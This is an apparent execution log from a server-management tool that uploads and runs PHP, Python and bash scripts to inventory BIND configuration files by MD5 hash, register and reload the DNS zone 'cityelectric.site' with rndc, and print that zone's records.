chmod 755 /tmp/pkp321310; /tmp/pkp321310; rm /tmp/pkp321310



0


2026-02-09 15:00:09: Establishing a connection
2026-02-09 15:00:09: Establishing a connection
2026-02-09 15:00:09: 

PUT: /tmp/pkp268040

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:00:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp268040; rm /tmp/pkp268040'

2026-02-09 15:00:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= a6f5ca81adeede69c1b101c1993b263b
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:00:09: 

PUT: /tmp/pkp281542

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 15:00:09: 

chmod 755 /tmp/pkp281542; /tmp/pkp281542; rm /tmp/pkp281542

2026-02-09 15:00:12: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 15:00:12: 

PUT: /tmp/pkp163508

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 15:00:13: 

chmod 755 /tmp/pkp163508; /tmp/pkp163508; rm /tmp/pkp163508

2026-02-09 15:00:13: 


zone reload queued


2026-02-09 15:00:44: Establishing a remote connection
2026-02-09 15:00:51: Establishing a connection
2026-02-09 15:00:51: 

PUT: /tmp/pkp384537

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:00:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp384537; rm /tmp/pkp384537'

2026-02-09 15:00:52: 
2026-02-09 15:00:52: 

PUT: /tmp/pkp256347

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 15:00:52: 

chmod 755 /tmp/pkp256347; /tmp/pkp256347; rm /tmp/pkp256347

2026-02-09 15:00:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	984
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134129841 14400 3600 14400 3600 )
@                        		 IN    A        	10.140.12.84
_acme-challenge           60	 IN    TXT      	"oemaffgEIpq4hzNrUMJX1_yBZ8tHvGQsDxgooCaj9Qk"
_acme-challenge           60	 IN    TXT      	"rqD0jj88uGd34QmVjAiYIA2kdalOKuf1qwnKQStqwao"
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"
www                      		 IN    CNAME    	dq-dev0f.ces-us.net






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
